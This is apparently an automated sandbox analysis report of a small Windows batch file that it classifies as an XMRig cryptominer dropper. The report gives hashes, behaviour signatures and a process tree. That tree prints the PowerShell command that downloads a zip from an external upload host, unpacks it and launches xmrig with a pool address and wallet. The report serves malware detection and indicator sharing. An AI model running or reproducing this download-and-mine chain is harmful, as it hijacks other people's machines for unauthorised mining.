Analysis

  • max time kernel
    1800s
  • max time network
    1807s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-11-2023 13:25

General

  • Target

    tesy - Copy (9).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 31 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3992
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4420
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4312
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2148
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:1980
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3200

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      98ca3263bd17f6f4308b8e4ff7530958

      SHA1

      6f41bacd42af6a11bb8d1516f7b07171087e7a17

      SHA256

      d25dfa289ae0981cb5c6da04de6c9f1a4aaf51ba8eafb7aeda3c9e5a27268e19

      SHA512

      f2ad36f84956741c2e3ef494a36f2a96bf944ab035419e82447bb25a53b309a9e93b450d679cb5709f6acb5a2b7956c568b280151b65313637f758ffd08f01e7

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1kyl4z1j.ygm.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\test1.zip

      Filesize

      3.2MB

      MD5

      95452958f42b1b93f0c887f59d84d19f

      SHA1

      c861dc457d57471ab42879f49cc8fe171e7c9b1c

      SHA256

      dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

      SHA512

      96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

      Filesize

      278B

      MD5

      080123b6eac4a332d3f2b11f6eb3aa54

      SHA1

      8f3d40eae881e3b871cff2aa85521d727ada2a64

      SHA256

      cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

      SHA512

      0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

      Filesize

      7.9MB

      MD5

      4813fa6d610e180b097eae0ce636d2aa

      SHA1

      1e9cd17ea32af1337dd9a664431c809dd8a64d76

      SHA256

      9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

      SHA512

      5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

    • memory/2148-70-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-71-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-58-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-80-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-59-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-79-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-78-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-77-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-76-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-75-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-74-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-73-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-46-0x000001F10D6E0000-0x000001F10D700000-memory.dmp

      Filesize

      128KB

    • memory/2148-47-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-48-0x000001F10D730000-0x000001F10D770000-memory.dmp

      Filesize

      256KB

    • memory/2148-60-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-50-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-51-0x000001F10F030000-0x000001F10F050000-memory.dmp

      Filesize

      128KB

    • memory/2148-52-0x000001F10F050000-0x000001F10F070000-memory.dmp

      Filesize

      128KB

    • memory/2148-53-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-54-0x000001F10F030000-0x000001F10F050000-memory.dmp

      Filesize

      128KB

    • memory/2148-55-0x000001F10F050000-0x000001F10F070000-memory.dmp

      Filesize

      128KB

    • memory/2148-56-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-57-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-72-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-69-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-49-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-61-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-62-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-63-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-64-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-65-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-66-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-67-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/2148-68-0x00007FF7D67C0000-0x00007FF7D72C3000-memory.dmp

      Filesize

      11.0MB

    • memory/3200-97-0x000001C2724A0000-0x000001C2724B0000-memory.dmp

      Filesize

      64KB

    • memory/3200-114-0x000001C27AAC0000-0x000001C27AAC1000-memory.dmp

      Filesize

      4KB

    • memory/3200-113-0x000001C27AA90000-0x000001C27AA91000-memory.dmp

      Filesize

      4KB

    • memory/3992-11-0x0000024E5BF60000-0x0000024E5BF70000-memory.dmp

      Filesize

      64KB

    • memory/3992-10-0x00007FFE6D010000-0x00007FFE6DAD1000-memory.dmp

      Filesize

      10.8MB

    • memory/3992-13-0x0000024E5BF60000-0x0000024E5BF70000-memory.dmp

      Filesize

      64KB

    • memory/3992-12-0x0000024E5BF60000-0x0000024E5BF70000-memory.dmp

      Filesize

      64KB

    • memory/3992-17-0x00007FFE6D010000-0x00007FFE6DAD1000-memory.dmp

      Filesize

      10.8MB

    • memory/3992-5-0x0000024E5BE90000-0x0000024E5BEB2000-memory.dmp

      Filesize

      136KB

    • memory/4420-30-0x0000020848C90000-0x0000020848CA0000-memory.dmp

      Filesize

      64KB

    • memory/4420-42-0x00007FFE6CCE0000-0x00007FFE6D7A1000-memory.dmp

      Filesize

      10.8MB

    • memory/4420-28-0x00007FFE6CCE0000-0x00007FFE6D7A1000-memory.dmp

      Filesize

      10.8MB

    • memory/4420-33-0x0000020848C50000-0x0000020848C5A000-memory.dmp

      Filesize

      40KB

    • memory/4420-32-0x0000020848C60000-0x0000020848C72000-memory.dmp

      Filesize

      72KB

    • memory/4420-31-0x0000020848C90000-0x0000020848CA0000-memory.dmp

      Filesize

      64KB